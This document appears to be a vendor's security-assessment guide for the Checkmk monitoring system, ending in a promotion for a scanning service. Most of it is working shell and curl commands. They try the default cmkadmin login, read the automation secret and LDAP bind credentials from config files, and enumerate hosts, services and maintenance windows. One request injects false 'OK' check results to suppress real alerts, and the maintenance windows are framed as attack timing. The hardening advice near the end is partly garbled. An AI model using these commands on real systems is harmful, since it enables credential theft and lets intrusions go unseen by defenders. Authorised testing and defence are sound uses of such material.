Checkmk is one of the most widely deployed open-source infrastructure monitoring systems, used by enterprises and MSPs to monitor servers, network devices, cloud infrastructure, and applications. It represents a high-value target for two reasons: it maintains a complete inventory of all monitored infrastructure including IP addresses, service configurations, and health states; and its integration architecture often stores credentials for LDAP, SMTP, and external notification systems. Key assessment areas: Checkmk ships with default credentials of cmkadmin/cmkadmin; the REST API with automation user credentials provides full host and service enumeration; Checkmk agent registration uses a shared secret that allows injecting rogue monitoring agents; the WATO configuration stores LDAP bind credentials and SMTP passwords; and passive check submissions can inject false service state data to suppress real alerts. This guide covers systematic Checkmk security assessment.
# Checkmk — default credentials and REST API authentication
CHECKMK_URL="https://checkmk.example.com/monitoring"
SITE_NAME="monitoring"
# Test default cmkadmin/cmkadmin credentials
curl -s "${CHECKMK_URL}/check_mk/login.py" \
-c /tmp/cmk_session \
-d "_username=cmkadmin&_password=cmkadmin&_login=1" \
-L 2>/dev/null | grep -i "logout\|cmkadmin" | head -3
# REST API — automation user credentials
# Default automation user: automation / automation_secret (in ~/monitoring/var/check_mk/web/automation/)
AUTOMATION_SECRET=$(cat /opt/omd/sites/${SITE_NAME}/var/check_mk/web/automation/automation.secret 2>/dev/null)
echo "Automation secret: ${AUTOMATION_SECRET}"
# REST API v1 — get all hosts
curl -s "${CHECKMK_URL}/check_mk/api/1.0/domain-types/host_config/collections/all" \
-H "Authorization: Bearer automation ${AUTOMATION_SECRET}" \
-H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
hosts = d.get('value',[])
print(f'Monitored hosts: {len(hosts)}')
for h in hosts[:20]:
e = h.get('extensions',{})
print(f' {h.get(\"id\")} ip={e.get(\"ipaddress\")} folder={e.get(\"folder\")} tags={list(e.get(\"tag_groups\",{}).values())}')
" 2>/dev/null
# Checkmk host inventory and service enumeration via REST API
CHECKMK_URL="https://checkmk.example.com/monitoring"
AUTOMATION_SECRET="automation-secret-here"
# Get all services for a host — complete service configuration
HOST="target-host"
curl -s "${CHECKMK_URL}/check_mk/api/1.0/objects/host/${HOST}/collections/services" \
-H "Authorization: Bearer automation ${AUTOMATION_SECRET}" \
-H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
services = d.get('value',[])
print(f'Services for ${HOST}: {len(services)}')
for s in services[:20]:
e = s.get('extensions',{})
print(f' {s.get(\"id\")} state={e.get(\"state\")} plugin_output={e.get(\"plugin_output\",\"\")[:80]}')
" 2>/dev/null
# Enumerate all host groups — maps infrastructure topology
curl -s "${CHECKMK_URL}/check_mk/api/1.0/domain-types/host_group_config/collections/all" \
-H "Authorization: Bearer automation ${AUTOMATION_SECRET}" \
-H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
groups = d.get('value',[])
print(f'Host groups: {len(groups)}')
for g in groups:
print(f' {g.get(\"id\")} alias={g.get(\"extensions\",{}).get(\"alias\")}')
" 2>/dev/null
# WATO (Web Administration Tool) configuration — credential extraction
# Site configuration stores LDAP and notification credentials
omd su ${SITE_NAME:-monitoring} -c "cat ~/etc/check_mk/multisite.d/wato/user_connections.mk 2>/dev/null"
# Contains: LDAP bind_dn, bind_pw for Active Directory integration
# Checkmk agent registration and passive check injection
CHECKMK_URL="https://checkmk.example.com/monitoring"
AUTOMATION_SECRET="automation-secret-here"
SITE_NAME="monitoring"
# Agent registration — shared secret allows registering rogue agents
# The agent controller uses a shared registration token
AGENT_REG_SECRET=$(omd su ${SITE_NAME:-monitoring} -c "cat ~/etc/cmk-agent-ctl.toml 2>/dev/null | grep -A2 registration")
# Passive check submission — inject false service states
# The nsca/process-service-result endpoint accepts check results from agents
# If NSCA is not authenticated, false results can suppress real alerts
curl -s -X POST "${CHECKMK_URL}/check_mk/api/1.0/domain-types/service/actions/process-service-result/invoke" \
-H "Authorization: Bearer automation ${AUTOMATION_SECRET}" \
-H "Content-Type: application/json" \
-d '{
"hostname": "target-host",
"service_description": "Check_MK",
"status": 0,
"output": "OK - Everything looks fine (injected)",
"performance_data": []
}' 2>/dev/null
# Enumerate all scheduled downtime — reveals maintenance windows
curl -s "${CHECKMK_URL}/check_mk/api/1.0/domain-types/downtime/collections/all" \
-H "Authorization: Bearer automation ${AUTOMATION_SECRET}" \
-H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
downtimes = d.get('value',[])
print(f'Scheduled downtimes: {len(downtimes)}')
for dt in downtimes:
e = dt.get('extensions',{})
print(f' Host: {e.get(\"host_name\")} start={e.get(\"start_time\")} end={e.get(\"end_time\")}')
" 2>/dev/null
~/var/check_mk/web/automation/automation.secret have REST API access equivalent to a full admin; restrict this file to 600 owned by the site user; generate a dedicated automation user with minimal required permissions for each integration (CI/CD pipeline, deployment tool, etc.) rather than sharing the master automation secret; rotate secrets periodicallymonitoring) owns all configuration files including LDAP credentials; prevent direct SSH access to the site user account; use omd su sitename from sudoers-controlled admin accounts only; restrict site directory permissions so web application processes cannot read sensitive configuration files directly| Security Test | Method | Risk |
|---|---|---|
| Default cmkadmin/cmkadmin credentials | POST to login.py with cmkadmin:cmkadmin — provides full WATO admin access including all host configurations, stored LDAP bind credentials, SMTP settings, and notification rule management | Critical |
| Automation secret extraction and REST API access | Read ~/var/check_mk/web/automation/automation.secret — enables full REST API access to enumerate all hosts, services, users, and configurations; also enables passive check injection and downtime scheduling | Critical |
| LDAP bind credential extraction from WATO config | Read ~/etc/check_mk/multisite.d/wato/user_connections.mk — bind_dn and bind_pw for Active Directory integration; LDAP bind credentials often have broad read access to AD including all user and group objects | High |
| Passive check injection to suppress alerts | POST /api/1.0/domain-types/service/actions/process-service-result/invoke — submit OK state for critical services; suppresses real alerts by overriding actual check results; monitoring team receives false-positive "all clear" during an incident | High (requires automation credentials) |
| Maintenance window enumeration | GET /api/1.0/domain-types/downtime/collections/all — reveals all scheduled maintenance windows; identifies optimal attack timing when monitoring is deliberately suppressed | Medium |
Ironimo tests Checkmk deployments for default cmkadmin credential exploitation, automation secret extraction and REST API host enumeration, WATO LDAP bind credential access, passive check injection for alert suppression, agent registration secret exposure, downtime schedule enumeration, site user filesystem permission review, and multi-site cross-access boundary testing.
Start free scan